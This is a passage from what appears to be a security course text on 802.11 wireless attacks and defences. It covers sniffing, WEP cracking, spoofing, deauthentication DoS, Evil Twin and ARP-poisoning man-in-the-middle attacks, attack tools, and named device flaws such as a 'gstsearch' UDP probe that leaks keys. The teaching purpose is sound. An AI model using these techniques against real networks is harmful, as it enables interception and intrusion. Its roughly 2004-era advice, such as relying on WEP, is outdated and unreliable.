support multiple SSIDs. Unlike fully qualified host names (e.g., gamma.cs.wright.edu), SSIDs are

not registered, and it is possible that two unrelated networks use the same SSID.

Channels

The stations communicate with each other using radio frequencies between 2.4 GHz and 2.5

GHz. Neighboring channels are only 5 MHz apart. Two wireless networks using neighboring

channels may interfere with each other.

WEP

Wired Equivalent Privacy (WEP) is a shared-secret key encryption system used to

encrypt packets transmitted between a station and an AP. The WEP algorithm is intended to

protect wireless communication from eavesdropping. A secondary function of WEP is to prevent

unauthorized access to a wireless network. WEP encrypts the payload of data

packets. Management and control frames are always transmitted in the clear. WEP uses the

RC4 encryption algorithm. The shared-secret key is either 40 or 104 bits long. The key is

chosen by the system administrator. This key must be shared among all the stations and the AP

using mechanisms that are not specified in the IEEE 802.11.

Infrastructure and Ad Hoc Modes

A wireless network operates in one of two modes. In the ad hoc mode, each station is a peer to

the other stations and communicates directly with other stations within the network. No AP is

Page 196: Hacker techniques, exploit and incident handling

195 | P a g e

involved. All stations can send Beacon and Probe frames. The ad hoc mode stations form an

Independent Basic Service Set (IBSS).

A station in the infrastructure mode communicates only with an AP. Basic Service Set (BSS) is a

set of stations that are logically associated with each other and controlled by a single AP.

Together they operate as a fully connected wireless network. The BSSID is a 48-bit number of

the same format as a MAC address. This field uniquely identifies each BSS. The value of this field

is the MAC address of the AP.

Frames

Both the station and AP radiate and gather 802.11 frames as needed. The format of frames is

illustrated below. Most of the frames contain IP packets. The other frames are for the

management and control of the wireless connection.

Figure 1 An IEEE 802.11 Frame

There are three classes of frames. The management frames establish and maintain

communications. These are of Association request, Association response, Re-Association

request, Re-Association response, Probe request, Probe response, Beacon, Announcement

traffic indication message, Disassociation, Authentication, De-Authentication types. The SSID is

part of several of the management frames. Management messages are always sent in the clear,

even when link encryption (WEP or WPA) is used, so the SSID is visible to anyone who can

intercept these frames.

The control frames help in the delivery of data.

The data frames encapsulate the OSI Network Layer packets. These contain the source and

destination MAC address, the BSSID, and the TCP/IP datagram. The payload part of the

datagram is WEP-encrypted.

Authentication

Authentication is the process of proving identity of a station to another station or AP. In the

open system authentication, all stations are authenticated without any checking. A station A

Page 197: Hacker techniques, exploit and incident handling

196 | P a g e

sends an Authentication management frame that contains the identity of A, to station B. Station

B replies with a frame that indicates recognition, addressed to A. In the closed network

architecture, the stations must know the SSID of the AP in order to connect to the AP. The

shared key authentication uses a standard challenge and response along with a shared secret

key.

Figure 2: States and Services

Association

Data can be exchanged between the station and AP only after a station is associated with an AP

in the infrastructure mode or with another station in the ad hoc mode. All the APs transmit

Beacon frames a few times each second that contain the SSID, time, capabilities, supported

rates, and other information. Stations can chose to associate with an AP based on the signal

strength etc. of each AP. Stations can have a null SSID that is considered to match all SSIDs.

The association is a two-step process. A station that is currently unauthenticated and

unassociated listens for Beacon frames. The station selects a BSS to join. The station and the AP

mutually authenticate themselves by exchanging Authentication management frames. The

client is now authenticated, but unassociated. In the second step, the station sends an

Association Request frame, to which the AP responds with an Association Response frame that

includes an Association ID to the station. The station is now authenticated and associated.

Page 198: Hacker techniques, exploit and incident handling

197 | P a g e

A station can be authenticated with several APs at the same time, but associated with at most

one AP at any time. Association implies authentication. There is no state where a station is

associated but not authenticated.

Wireless Network Sniffing

Sniffing is eavesdropping on the network. A (packet) sniffer is a program that intercepts and

decodes network traffic broadcast through a medium. Sniffing is the act by a machine S of

making copies of a network packet sent by machine A intended to be received by machine

B. Such sniffing, strictly speaking, is not a TCP/IP problem, but it is enabled by the choice of

broadcast media, Ethernet and 802.11, as the physical and data link layers.

Sniffing has long been a reconnaissance technique used in wired networks. Attackers sniff the

frames necessary to enable the exploits described in later sections. Sniffing is the underlying

technique used in tools that monitor the health of a network. Sniffing can also help find the

easy kill as in scanning for open access points that allow anyone to connect, or capturing the

passwords used in a connection session that does not even use WEP, or in telnet, rlogin and ftp

connections.

It is easier to sniff wireless networks than wired ones. It is easy to sniff the wireless traffic of a

building by setting shop in a car parked in a lot as far away as a mile, or while driving around the

block. In a wired network, the attacker must find a way to install a sniffer on one or more of the

hosts in the targeted subnet. Depending on the equipment used in a LAN, a sniffer needs to be

run either on the victim machine whose traffic is of interest or on some other host in the same

subnet as the victim. An attacker at large on the Internet has other techniques that make it

possible to install a sniffer remotely on the victim machine.

Passive Scanning

Scanning is the act of sniffing by tuning to various radio channels of the devices.

A passive network scanner instructs the wireless card to listen to each channel for a few

messages. This does not reveal the presence of the scanner.

An attacker can passively scan without transmitting at all. Several modes of a station permit

this. There is a mode called RF monitor mode that allows every frame appearing on a channel to

be copied as the radio of the station tunes to various channels. This is analogous to placing a

wired Ethernet card in promiscuous mode. This mode is not enabled by default. Some wireless

cards on the market today have disabled this feature in the default firmware. One can buy

wireless cards whose firmware and corresponding driver software together permit reading of all

raw 802.11 frames. A station in monitor mode can capture packets without associating with an

AP or ad-hoc network. The so-called promiscuous mode allows the capture of all wireless

Page 199: Hacker techniques, exploit and incident handling

198 | P a g e

packets of an associated network. In this mode, packets cannot be read until authentication and

association are completed.

An example sniffer is Kismet (http://www.kismetwireless.net). An example wireless card that

permits RF monitor modes is Cisco Aironet AIR-PCM342.

Detection of SSID

The attacker can discover the SSID of a network usually by passive scanning because the SSID

occurs in the following frame types: Beacon, Probe Requests, Probe Responses, Association

Requests, and Re-Association Requests. Recall that management frames are always in the clear,

even when WEP is enabled.

On a number of APs, it is possible to configure so that the SSID transmitted in the Beacon frames

is masked, or even turn off Beacons altogether. The SSID shown in the Beacon frames is set to

null in the hope of making the WLAN invisible unless a client already knows the correct SSID. In

such a case, a station wishing to join a WLAN begins the association process by sending Probe

Requests since it could not detect any APs via Beacons that match its SSID.

If the Beacons are not turned off, and the SSID in them is not set to null, an attacker obtains the

SSID included in the Beacon frame by passive scanning.

When the Beacon displays a null SSID, there are two possibilities. Eventually, an Associate

Request may appear from a legitimate station that already has a correct SSID. To such a

request, there will be an Associate Response frame from the AP. Both frames will contain the

SSID in the clear, and the attacker sniffs these. If the station wishes to join any available AP, it

sends Probe Requests on all channels, and listens for Probe Responses that contain the SSIDs of

the APs. The station considers all Probe Responses, just as it would have with the non-empty

SSID Beacon frames, to select an AP. Normal association then begins. The attacker waits to sniff

these Probe Responses and extract the SSIDs.

If Beacon transmission is disabled, the attacker has two choices. The attacker can keep sniffing

waiting for a voluntary Associate Request to appear from a legitimate station that already has a

correct SSID and sniff the SSID as described above. The attacker can also chose to actively probe

by injecting frames that he constructs, and then sniffs the response as described in a later

section.

When the above methods fail, SSID discovery is done by active scanning (see Section 5).

Collecting the MAC Addresses

The attacker gathers legitimate MAC addresses for use later in constructing spoofed frames. The

source and destination MAC addresses are always in the clear in all the frames. There are two

Page 200: Hacker techniques, exploit and incident handling

199 | P a g e

reasons why an attacker would collect MAC addresses of stations and APs participating in a

wireless network. (1) The attacker wishes to use these values in spoofed frames so that his

station or AP is not identified. (2) The targeted AP may be controlling access by filtering out

frames with MAC addresses that were not registered.

Collecting the Frames for Cracking WEP

The goal of an attacker is to discover the WEP shared-secret key. Often, the shared key can be

discovered by guesswork based on a certain amount of social engineering regarding the

administrator who configures the wireless LAN and all its users. Some client software stores the

WEP keys in the operating system registry or initialization scripts. In the following, we assume

that the attacker was unsuccessful in obtaining the key in this manner. The attacker then

employs systematic procedures in cracking the WEP. For this purpose, a large number (millions)

of frames need to be collected because of the way WEP works.

The wireless device generates on the fly an Initialization Vector (IV) of 24-bits. Adding these bits

to the shared-secret key of either 40 or 104 bits, we often speak of 64-, or 128-bit

encryption. WEP generates a pseudo-random key stream from the shared secret key and the IV.

The CRC-32 checksum of the plain text, known as the Integrity Check (IC) field, is appended to

the data to be sent. It is then exclusive-ORed with the pseudo-random key stream to produce

the cipher text. The IV is appended in the clear to the cipher text and transmitted. The receiver

extracts the IV, uses the secret key to re-generate the random key stream, and exclusive-ORs

the received cipher text to yield the original plaintext.

Certain cards are so simplistic that they start their IV as 0 and increment it by 1 for each frame,

resetting in between for some events. Even the better cards generate weak IVs from which the

first few bytes of the shared key can be computed after statistical analyses. Some

implementations generate fewer mathematically weak vectors than others do.

The attacker sniffs a large number of frames from a single BSS. These frames all use the same

key. The mathematics behind the systematic computation of the secret shared key from a

collection of cipher text extracted from these frames is described elsewhere in this

volume. What is needed however is a collection of frames that were encrypted using

“mathematically-weak” IVs. The number of encrypted frames that were mathematically weak is

a small percentage of all frames. In a collection of a million frames, there may only be a

hundred mathematically weak frames. It is conceivable that the collection may take a few hours

to several days depending on how busy the WLAN is.

Given a sufficient number of mathematically weak frames, the systematic computation that

exposes the bytes of the secret key is intensive. However, an attacker can employ powerful

computers. On an average PC, this may take a few seconds to hours. The storage of the large

numbers of frames is in the several hundred-megabytes to a few gigabytes range.

Page 201: Hacker techniques, exploit and incident handling

200 | P a g e

An example of a WEP cracking tool is AirSnort ( http://airsnort.shmoo.com ).

Detection of the Sniffers

Detecting the presence of a wireless sniffer, who remains radio-silent, through network security

measures is virtually impossible. Once the attacker begins probing (i.e., by injecting packets),

the presence and the coordinates of the wireless device can be detected.

Wireless Spoofing

There are well-known attack techniques known as spoofing in both wired and wireless

networks. The attacker constructs frames by filling selected fields that contain addresses or

identifiers with legitimate looking but non-existent values, or with values that belong to

others. The attacker would have collected these legitimate values through sniffing.

MAC Address Spoofing

The attacker generally desires to be hidden. But the probing activity injects frames that are

observable by system administrators. The attacker fills the Sender MAC Address field of the

injected frames with a spoofed value so that his equipment is not identified.

Typical APs control access by permitting only those stations with known MAC addresses. Either

the attacker has to compromise a computer system that has a station, or he spoofs with

legitimate MAC addresses in frames that he manufactures. MAC addresses are assigned at the

time of manufacture, but setting the MAC address of a wireless card or AP to an arbitrary

chosen value is a simple matter of invoking an appropriate software tool that engages in a dialog

with the user and accepts values. Such tools are routinely included when a station or AP is

purchased. The attacker, however, changes the MAC address programmatically, sends several

frames with that address, and repeats this with another MAC address. In a period of a second,

this can happen several thousand times.

When an AP is not filtering MAC addresses, there is no need for the attacker to use legitimate

MAC addresses. However, in certain attacks, the attacker needs to have a large number of MAC

addresses than he could collect by sniffing. Random MAC addresses are generated. However,

not every random sequence of six bytes is a MAC address. The IEEE assigns globally the first

three bytes, and the manufacturer chooses the last three bytes. The officially assigned numbers

are publicly available. The attacker generates a random MAC address by selecting an IEEE-

assigned three bytes appended with an additional three random bytes.

IP spoofing

Replacing the true IP address of the sender (or, in rare cases, the destination) with a different

address is known as IP spoofing. This is a necessary operation in many attacks.

Page 202: Hacker techniques, exploit and incident handling

201 | P a g e

The IP layer of the OS simply trusts that the source address, as it appears in an IP packet is

valid. It assumes that the packet it received indeed was sent by the host officially assigned that

source address. Because the IP layer of the OS normally adds these IP addresses to a data

packet, a spoofer must circumvent the IP layer and talk directly to the raw network device. Note

that the attacker’s machine cannot simply be assigned the IP address of another host X

using ifconfig or a similar configuration tool. Other hosts, as well as X, will discover (through

ARP, for example) that there are two machines with the same IP address.

IP spoofing is an integral part of many attacks. For example, an attacker can silence a host A

from sending further packets to B by sending a spoofed packet announcing a window size of

zero to A as though it originated from B.

Frame Spoofing

The attacker will inject frames that are valid by 802.11 specifications, but whose content is

carefully spoofed as described above.

Frames themselves are not authenticated in 802.11 networks. So when a frame has a spoofed

source address, it cannot be detected unless the address is wholly bogus. If the frame to be

spoofed is a management or control frame, there is no encryption to deal with. If it is a data

frame, perhaps as part of an on-going MITM attack, the data payload must be properly

encrypted.

Construction of the byte stream that constitutes a spoofed frame is a programming matter once

the attacker has gathered the needed information through sniffing and probing. There are

software libraries that ease this task. Examples of such libraries

are libpcap (sourceforge.net/projects/libpcap/), libnet(libnet.sourceforge.net/), libdnet (li

bdnet. sourceforge.net/) and libradiate (www.packetfactory.net/projects/libradiate/ ).

The difficulty here is not in the construction of the contents of the frame, but in getting, it

radiated (transmitted) by the station or an AP. This requires control over the firmware and

driver of the wireless card that may sanitize certain fields of a frame. Therefore, the attacker

selects his equipment carefully. Currently, there are off-the-shelf wireless cards that can be

manipulated. In addition, the construction of special purpose wireless cards is within the reach

of a resourceful attacker.

Wireless Network Probing

Even though the attacker gathers considerable amount of information regarding a wireless

network through sniffing, without revealing his wireless presence at all, there are pieces that

may still be missing. The attacker then sends artificially constructed packets to a target that

trigger useful responses. This activity is known as probing or active scanning.

Page 203: Hacker techniques, exploit and incident handling

202 | P a g e

The target may discover that it is being probed, it might even be a honey

pot (www.honeynet.org/) target carefully constructed to trap the attacker. The attacker would

try to minimize this risk.

Detection of SSID

Detection of SSID is often possible by simply sniffing Beacon frames as describe in a previous

section.

If Beacon transmission is disabled, and the attacker does not wish to patiently wait for a

voluntary Associate Request to appear from a legitimate station that already has a correct SSID,

or Probe Requests from legitimate stations, he will resort to probing by injecting a Probe

Request frame that contains a spoofed source MAC address. The Probe Response frame from

the APs will contain, in the clear, the SSID and other information similar to that in the Beacon

frames were they enabled. The attacker sniffs these Probe Responses and extracts the SSIDs.

Some models of APs have an option to disable responding to Probe Requests that do not contain

the correct SSID. In this case, the attacker determines a station associated with the AP, and

sends the station a forged Disassociation frame where the source MAC address is set to that of

the AP. The station will send a Re-Association Request that exposes the SSID.

Detection of APs and stations

Every AP is a station, so SSIDs, MAC addresses are gathered as described above.

Certain bits in the frames identify that the frame is from an AP. If we assume that WEP is either

disabled or cracked, the attacker can also gather the IP addresses of the AP and the stations.

Detection of Probing

Detection of probing is possible. The frames that an attacker injects can also be heard by the

intrusion detection systems (IDS) of hardened wireless LAN. There is GPS-enabled equipment

that can identify the physical coordinates of a wireless device through which the probe frames

are being transmitted.

AP Weaknesses

APs have weaknesses that are both due to design mistakes and user interfaces that promote

weak passwords, etc. It has been demonstrated by many publicly conducted war-driving efforts

(www.worldwidewardrive.org) in major cities around the world that a large majority of the

deployed APs are poorly configured, most with WEP disabled, and configuration defaults, as set

up the manufacturer, untouched.

Page 204: Hacker techniques, exploit and incident handling

203 | P a g e

Configuration

The default WEP keys used are often too trivial. Different APs use different techniques to

convert the user’s key board input into a bit vector. Usually 5 or 13 ASCII printable characters

are directly mapped by concatenating their ASCII 8-bit codes into a 40-bit or 104-bit WEP key. A

stronger key can be constructed from an input of 26 hexadecimal digits. It is possible to form an

even stronger104 bit WEP key by truncating the MD5 hash of an arbitrary length pass phrase.

Defeating MAC Filtering

Typical APs permit access to only those stations with known MAC addresses. This is easily

defeated by the attacker who spoofs his frames with a MAC address that is registered with the

AP from among the ones that he collected through sniffing. That a MAC address is registered

can be detected by observing the frames from the AP to the stations.

Rogue AP

Access points that are installed without proper authorization and verification that overall

security policy is obeyed are called rogue APs. These are installed and used by valid users. Such

APs are configured poorly, and attackers will find them.

Trojan AP

An attacker sets up an AP so that the targeted station receives a stronger signal from it than

what it receives from a legitimate AP. If WEP is enabled, the attacker would have already

cracked it. A legitimate user selects the Trojan AP because of the stronger signal, authenticates

and associates. The Trojan AP is connected to a system that collects the IP traffic for later

analyses. It then transmits all the frames to a legitimate AP so that the victim user does not

recognize the on-going MITM attack. The attacker can steal the users password, network access,

compromise the user’s system to give himself root access. This attack is called the Evil Twin

Attack.

It is easy to build a Trojan AP because an AP is a computer system optimized for its intended

application. A general purpose PC with a wireless card can be turned into a capable AP. An

example of such software is HostAP (http://hostap.epitest.fi/ ). Such a Trojaned AP would be

formidable.

Equipment Flaws

A search on www.securityfocus.com with “access point vulnerabilities” will show that numerous

flaws in equipment from well-known manufacturers are known. For example, one such AP

crashes when a frame is sent to it that has the spoofed source MAC address of itself. Another

AP features an embedded TFTP (Trivial File Transfer Protocol) server. By requesting a file

Page 205: Hacker techniques, exploit and incident handling

204 | P a g e

named config.img via TFTP, an attacker receives the binary image of the AP configuration.

The image includes the administrator’s password required by the HTTP user interface, the WEP

encryption keys, MAC address, and SSID. Yet another AP returns the WEP keys, MAC filter list,

administrator’s password when sent a UDP packet to port 27155 containing the string

“gstsearch”.

It is not clear how these flaws were discovered. The following is a likely procedure. Most

manufacturers design their equipment so that its firmware can be flashed with a new and

improved one in the field. The firmware images are downloaded from the manufacturers’ web

site. The CPU used in the APs can be easily recognized, and the firmware can be systematically

disassembled revealing the flaws at the assembly language level.

Comprehensive lists of such equipment flaws are likely circulating among the attackers.

Denial of Service

A denial of service (D.o.S) occurs when a system is not providing services to authorized clients

because of resource exhaustion by unauthorized clients. In wireless networks, D.o.S attacks are

difficult to prevent, difficult to stop an on-going attack and the victim and its clients may not

even detect the attacks. The duration of such D.o.S may range from milliseconds to hours. A

D.o.S attack against an individual station enables session hijacking.

Jamming the Air Waves

A number of consumer appliances such as microwave ovens, baby monitors, and cordless

phones operate on the unregulated 2.4GHz radio frequency. An attacker can unleash large

amounts of noise using these devices and jam the airwaves so that the signal to noise drops so

low, that the wireless LAN ceases to function. The only solution to this is RF proofing the

surrounding environment.

Flooding with Associations

The AP inserts the data supplied by the station in the Association Request into a table called

the association table that the AP maintains in its memory. The IEEE 802.11 specifies a maximum

value of 2007 concurrent associations to an AP. The actual size of this table varies among

different models of APs. When this table overflows, the AP would refuse further clients.

Having cracked WEP, an attacker authenticates several non-existing stations using legitimate-

looking but randomly generated MAC addresses. The attacker then sends a flood of spoofed

associate requests so that the association table overflows.

Enabling MAC filtering in the AP will prevent this attack.

Page 206: Hacker techniques, exploit and incident handling

205 | P a g e

Forged Dissociation

The attacker sends a spoofed Disassociation frame where the source MAC address is set to that

of the AP. The station is still authenticated but needs only to Re-Associate and sends Re-

Association Requests to the AP. The AP may send a Re-Association Response accepting the

station and the station can then resume sending data. To prevent Re-Association, the attacker

continues to send Disassociation frames for a desired period.

Forged De-Authentication

The attacker monitors all raw frames collecting the source and destination MAC addresses to

verify that they are among the targeted victims. When a data or Association Response frame is

observed, the attacker sends a spoofed De-Authentication frame where the source MAC address

is spoofed to that of the AP. The station is now unassociated and unauthenticated, and needs to

reconnect. To prevent a reconnection, the attacker continues to send De-Authentication frames

for a desired period. The attacker may even rate limit the De-Authentication frames to avoid

overloading an already congested network.

The mischievous packets of Disassociation and De-Authentication are sent directly to the client,

so these will not be logged by the AP or IDS, and neither MAC filtering nor WEP protection will

prevent it.

Power Saving

Power conservation is important for typical station laptops, so they frequently enter an 802.11

state called Doze. An attacker can steal packets intended for a station while the station is in the

Doze state.

The 802.11 protocol requires a station to inform the AP through a successful frame exchange

that it wishes to enter the Doze state from the Active state.

Periodically the station awakens and sends a PS-Poll frame to the AP. The AP will transmit in

response the packets that were buffered for the station while it was dozing. This polling frame

can be spoofed by an attacker causing the AP to send the collected packets and flush its internal

buffers. An attacker can repeat these polling messages so that when the legitimate station

periodically awakens and polls, AP will inform that there are no pending packets.

Man-in-the-Middle Attacks

Man-in-the-middle (MITM) attack refers to the situation where an attacker on host X inserts X

between all communications between hosts B and C, and neither B nor C is aware of the

presence of X. All messages sent by B do reach C but via X, and vice versa. The attacker can

merely observe the communication or modify it before sending it out. An MITM attack can

Page 207: Hacker techniques, exploit and incident handling

206 | P a g e

break connections that are otherwise secure. At the TCP level, SSH and VPN, e.g., are prone to

this attack.

Wireless MITM

Assume that station B was authenticated with C, a legitimate AP. Attacker X is a laptop with two

wireless cards. Through one card, he will present X as an AP. Attacker X sends De-

Authentication frames to B using the C’s MAC address as the source, and the BSSID he has

collected. B gets De-Authenticated and begins a scan for an AP and may find X on a channel

different from C. There is a race condition between X and C. If B associates with X, the MITM

attack succeeded. X will re-transmit the frames it receives from B to C, and the frames it

receives from C to B after suitable modifications.

The package of tools called AirJack (http://802.11ninja.net/airjack/) includes a program

called monkey_jack that automates the MITM attack. This is programmed well so that the

odds of it winning in the race condition mentioned above are improved.

ARP Poisoning

ARP cache poisoning is an old problem in wired networks. Wired networks have deployed

mitigating techniques. But, the ARP poisoning technique is re-enabled in the presence of APs

that are connected to a switch/hub along with other wired clients.

ARP is used to determine the MAC address of a device whose IP address is known. The

translation is performed with a table look-up. The ARP cache accumulates as the host

continues to network. If the ARP cache does not have an entry for an IP address, the outgoing IP

packet is queued, and an ARP Request packet that effectively requests “If your IP address

matches this target IP address, then please let me know what your Ethernet address is” is

broadcast. The host with the target IP is expected to respond with an ARP Reply, which contains

the MAC address of the host. Once the table is updated because of receiving this response, all

the queued IP packets can now be sent. The entries in the table expire after a set time in order

to account for possible hardware address changes for the same IP address. This change may

have happened, e.g., due to the NIC being replaced.

Unfortunately, the ARP does not provide for any verification that the responses are from valid

hosts or that it is receiving a spurious response as if it has sent an ARP Request. ARP poisoning is

an attack technique exploiting this lack of verification. It corrupts the ARP cache that the OS

maintains with wrong MAC addresses for some IP addresses. An attacker accomplishes this by

sending an ARP Reply packet that is deliberately constructed with a “wrong” MAC address. The

ARP is a stateless protocol. Thus, a machine receiving an ARP Reply cannot determine if the

response is due to a request it sent or not.

Page 208: Hacker techniques, exploit and incident handling

207 | P a g e

ARP poisoning is one of the techniques that enables the man-in-the-middle attack. An attacker

on machine X inserts himself between two hosts B and C by (i) poisoning B so that C’s IP address

is associated with X’s MAC address, (ii) poisoning C so that B’s address is associated with X’s

MAC address, and (iii) relaying the packets X receives.

The ARP poison attack is applicable to all hosts in a subnet. Most APs act as transparent MAC

layer bridges, and so all stations associated with it are vulnerable. If an access point is connected

directly to a hub or a switch without an intervening router/firewall, then all hosts connected to

that hub or switch are susceptible also. Note that recent devices aimed at the home consumer

market combine a network switch with may be four or five ports, an AP, a router and a

DSL/cable modem connecting to the Internet at large. Internally, the AP is connected to the

switch. As a result, an attacker on a wireless station can become a MITM between two wired

hosts, one wired one wireless, or both wireless hosts.

The tool called Ettercap ((http://ettercap.sourceforge.net) is capable of performing ARP

poisoning.

Session Hijacking

Session hijacking occurs in the context of a “user”, whether human or computer. The user has

an on-going connection with a server. Hijacking is said to occur when an attacker causes the

user to lose his connection, and the attacker assumes his identity and privileges for a period.

An attacker disables temporarily the user’s system, say by a D.o.S attack or a buffer overflow

exploit. The attacker then takes the identity of the user. The attacker now has all the access

that the user has. When he is done, he stops the D.o.S attack, and lets the user resume. The

user may not detect the interruption if the disruption lasts no more than a couple of

seconds. Such hijacking can be achieved by using forged Disassociation D.o.S attack.

Corporate wireless networks are often set up so that the user is directed to an authentication

server when his station attempts a connection with an AP. After the authentication, the

attacker employs the session hijacking described above using spoofed MAC addresses.

War Driving

Equipped with wireless devices and related tools, and driving around in a vehicle or parking at

interesting places with a goal of discovering easy-to-get-into wireless networks is known as war

driving. War-drivers (http://www.wardrive.net/) define war driving as “The benign act of

locating and logging wireless access points while in motion.” This benign act is of course useful

to the attackers.

Page 209: Hacker techniques, exploit and incident handling

208 | P a g e

War chalking

War chalking is the practice of marking sidewalks and walls with special symbols to indicate that

wireless access is nearby so that others do not need to go through the trouble of the same

discovery. A search on www.google.com with key words “war driving maps” will produce a large

number of hits. Yahoo! Maps can show "Wi-Fi Hotspots" near an address you give.

Figure 3: War Chalking Symbols

Typical Equipment

The typical war driving equipment consists of a laptop computer system or a PDA with a wireless

card, a GPS, and a high-gain antenna. Typical choice of an operating system is Linux or FreeBSD

where open source sniffers (e.g., Kismet) and WEP crackers (e.g., AirSnort) are available. Similar

tools (e.g., NetStumbler) that run on Windows are available.

War drivers need to be within the range of an AP or station located on the target network. The

range depends on the transmit output power of the AP and the card, and the gain of the

antenna. Ordinary access point antennae transmit their signals in all directions. Often, these

signals reach beyond the physical boundaries of the intended work area, perhaps to adjacent

buildings, floors, and parking lots. With the typical 30mW wireless cards intended for laptops,

the range is about 300 feet, but there are in 2004 wireless cards for laptops on the market that

Page 210: Hacker techniques, exploit and incident handling

209 | P a g e

have 200mW. Directional high-gain antennae and an RF-amplifier can dramatically extend the

range.

Figure 4: War Drivers' Equipment

Wireless Security Best Practices

This section describes best practices in mitigating the problems described above.

Location of the APs

APs should be topologically located outside the perimeter firewalls. The wireless network

segments should be treated with the same suspicion as that for the public

Internet. Additionally, it is important to use directional antennae and physically locate them in

such a way that the radio-coverage volume is within the control of the corporation or home.

Proper Configuration

Statistics collected by www.worldwidewardrive.org show a distressingly large percentage of APs

left configured with the defaults.

Before a wireless device is connected to the rest of the existing network, proper configuration of

the wireless device is necessary. The APs come with a default SSID, such as “Default SSID”,

“WLAN”, “Wireless”, “Compaq”, “intel”, and “linksys”. The default passwords for the

Page 211: Hacker techniques, exploit and incident handling

210 | P a g e

administrator accounts that configure the AP via a web browser or SNMP are well known for all

manufacturers. A proper configuration should change these too difficult to predict values.

Note that the SSID serves as a simple handle, not as a password, for a wireless network. Unless

the default SSID on the AP and stations is changed, SSID broadcasts are disabled, MAC address

filtering is enabled, WEP enabled, an attacker can use the wireless LAN resources without even

sniffing.

The configuration via web browsing (HTTP) is provided by a simplistic web server built into an

AP. Often this configuration interface is provided via both wired connections and wireless

connections. The web server embedded in a typical AP does not contain secure HTTP, so the

password that the administrator submits to the AP can be sniffed. Web based configuration via

wireless connections should be disabled.

WEP is disabled in some organization because the throughput is then higher. Enabling WEP

encryption makes it necessary for the attacker intending to WEP-crack to have to sniff a large

number of frames. The higher the number of bits in the encryption the larger the number of

frames that must be collected is. The physical presence in the radio range of the equipment for

long periods increases the odds of his equipment being detected. WEP should be enabled.

The IEEE 802.11 does not describe an automated way of distributing the shared-secret keys. In

large installations, the manual distribution of keys every time they are changed is expensive.

Nevertheless, the WEP encryption keys should be changed periodically.

Secure Protocols

If the WEP is disabled, or after the WEP is cracked, the attacker can capture all TCP/IP packets by

radio-silent sniffing for later analyses. All the wired network attacks are possible. There are real-

time tools that analyze and interpret the TCP/IP data as they arrive.

All protocols that send passwords and data in the clear must be avoided. This includes the

rlogin family, telnet, and POP3. Instead one should use SSH and VPN.

In general, when a wireless segment is involved, one should use end-to-end encryption at the

application level in addition to enabling WEP.

Wireless IDS

A wireless intrusion detection system (WIDS) is often a self-contained computer system with

specialized hardware and software to detect anomalous behavior. The underlying software

techniques are the same hacking techniques described above. The special wireless hardware is

more capable than the commodity wireless card, including the RF monitor mode, detection of

interference, and keeping track of signal-to-noise ratios. It also includes GPS equipment so that

Page 212: Hacker techniques, exploit and incident handling

211 | P a g e

rogue clients and APs can be located. A WIDS includes one or more listening devices that collect

MAC addresses, SSIDs, features enabled on the stations, transmit speeds, current channel,

encryption status, beacon interval, etc. Its computing engine will be powerful enough that it can

dissect frames and WEP-decrypt into IP and TCP components. These can be fed into TCP/IP

related intrusion detection systems.

Unknown MAC addresses are detected by maintaining a registry of MAC addresses of known

stations and APs. Frequently, a WIDS can detect spoofed known MAC addresses because the

attacker could not control the firmware of the wireless card to insert the appropriate sequence

numbers into the frame.

Wireless Auditing

Periodically, every wireless network should be audited. Several audit firms provide this service

for a fee. A security audit begins with a well-established security policy. A policy for wireless

networks should include a description of the geographical volume of coverage. The main goal of

an audit is to verify that there are no violations of the policy. To this end, the typical auditor

employs the tools and techniques of an attacker.

Newer Standards and Protocols

Many improvements in wireless network technology are proposed through proprietary channels

(e.g., Cisco Lightweight Extensible Authentication Protocol) as well as through the IEEE. The new

IEEE 802.11i (ratified in June 2004) enhances the current 802.11 standard to provide

improvements in security. These include Port Based Access Control for authentication, Temporal

Key Integrity Protocol for dynamic changing of encryption keys, and Wireless Robust

Authentication protocol. An interim solution proposed by vendors is the Wi-Fi Protected Access

(WPA), a subset of 802.11i, is only now becoming available in some products. Time will tell if

these can withstand future attacks.

Software Tools

Below we describe a collection of cost-free tools that can be used both as attack tools and as

audit tools.

• AirJack (http://802.11ninja.net/airjack/) is a collection of wireless card drivers and

related programs. It includes a program called monkey_jack that automates the MITM

attack. Wlan_jack is a D.o.S tool that accepts a target source and BSSID to send

continuous De-Authenticate frames to a single client or an entire network (broadcast

address). Essid_jack sends a disassociate frame to a target client in order to force the

client to Re-Associate with the network, thereby giving up the network SSID.

Page 213: Hacker techniques, exploit and incident handling

212 | P a g e

• AirSnort (www.airsnort.shmoo.com ) can break WEP by passively monitoring transmissions and computing the encryption key when enough packets have been gathered.

• Ethereal (www.ethereal.com ) is a LAN analyzer, including wireless. One can interactively browse the capture data, viewing summary and detail information for all observed wireless traffic.

• FakeAP (ww.blackalchemy.to/project/FakeAP) can generate thousands of counterfeit 802.11b access points.

• HostAP (www.hostap.epitest.fi) converts a station that is based on Intersil's Prism2/2.5/3 chipset to function as an access point.

• Kismet (www.kismetwireless.net) is a wireless sniffer and monitor. It passively monitors wireless traffic and dissects frames to identify SSIDs, MAC addresses, channels and connection speeds.

• NetStumbler (www.netstumbler.com) is a wireless access point identifier running on Windows. It listens for SSIDs and sends beacons as probes searching for access points.

• PrismStumbler (prismstumbler.sourceforge.net/) can find wireless networks. It constantly switches channels and monitors frames received.

• The Hacker’s Choice organization (www.thc.org) has LEAP Cracker Tool suite that contains tools to break Cisco LEAP. It also has tools for spoofing authentication challenge-packets from an AP. The WarDrive is a tool for mapping a city for wireless networks with a GPS device.

• StumbVerter (www.sonar-security.com/sv.html) is a tool that reads NetStumbler's collected data files and presents street maps showing the logged WAPs as icons, whose color and shape indicating WEP mode and signal strength.

• Wellenreiter (http://www.wellenreiter.net/) is a WLAN discovery tool. It uses brute force to identify low traffic access points while hiding the real MAC address of the card it uses. It is integrated with GPS.

• WEPcrack (www.wepcrack.sourceforge.net) cracks 802.11 WEP encryption keys using weaknesses of RC4 key scheduling.

Conclusion

This article is an introduction to the techniques an attacker would use on wireless

networks. Regardless of the protocols, wireless networks will remain potentially insecure

because an attacker can listen in without gaining physical access. In addition, the protocol

designs were security-naïve. We have pointed out several existing tools that implement attack

techniques that exploit the weaknesses in the protocol designs. The integration of wireless

networks into existing networks also has been carelessly done. We pointed out several best

practices that can mitigate the insecurities.

Page 214: Hacker techniques, exploit and incident handling

213 | P a g e

Physical Security

Dumpster diving

Dumpster diving is the practice of searching through the trash of an individual or business in

attempt to obtain something useful. In the realm of information security, this frequently means

looking for documents containing sensitive information. However, as more and more

information is being stored electronically, it is becoming increasingly useful to those seeking

information through this means to search for computer disks or other computer hardware

